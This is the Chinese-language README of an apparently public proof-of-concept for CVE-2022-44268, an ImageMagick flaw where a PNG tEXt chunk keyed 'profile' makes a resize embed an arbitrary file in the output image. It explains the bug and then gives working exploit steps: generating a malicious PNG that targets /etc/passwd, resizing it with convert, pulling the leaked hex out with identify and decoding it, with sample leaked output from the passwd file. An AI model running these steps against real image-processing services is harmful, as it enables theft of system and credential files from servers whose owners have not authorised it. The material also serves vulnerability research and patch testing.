本仓库包含针对 ImageMagick(v. 7.1.0-49)中一个漏洞的概念验证(POC)。ImageMagick 是一个广泛使用的开源图像处理库。该漏洞允许攻击者在 ImageMagick 解析 PNG 文件时,将任意文件的内容嵌入到调整大小后的图像中。
当 ImageMagick 对 PNG 文件执行诸如调整大小等操作时,如果 magick 二进制文件具有读取系统文件所需的权限,它可能会包含系统文件的内容。此漏洞源于 ImageMagick 对 PNG 文件中文本块的处理不当。
恶意攻击者可以通过构造 PNG 文件或使用现有 PNG 文件并添加文本块类型(tEXt)来利用此漏洞。这些文本块由一个关键字和一个文本字符串组成。在此情况下,如果关键字与字符串 "profile"(不带引号)匹配,ImageMagick 将把随附的文本字符串解释为文件名,并尝试将其内容作为原始 profile 加载。因此,当下载调整大小后的图像时,它将包含攻击者指定的远程文件的内容。
更多信息,请参阅 MetabaseQ 的这篇文章。
要利用 ImageMagick 漏洞,请生成一个恶意 PNG 文件:
python3 CVE-2022-44268.py /etc/passwd # Create output.png
然后,使用 convert 执行调整大小操作:
convert output.png -resize 50% leak.png
最后,检查泄漏的图像并将 Raw profile 转换为十六进制:
identify -verbose leak.png
# ...
Raw profile type:
2367
726f6f743a783a303a303a726f6f743a2f726f6f743a2f6269 [...]
python -c "print(bytes.fromhex('726f6f743a783a303a303a726f6f743a2f726f6f743a2f6269 [...]'))"
注意:此 POC 仅用于教育和信息目的。在测试或使用此 POC 之前,请确保你拥有必要的权限和法律授权。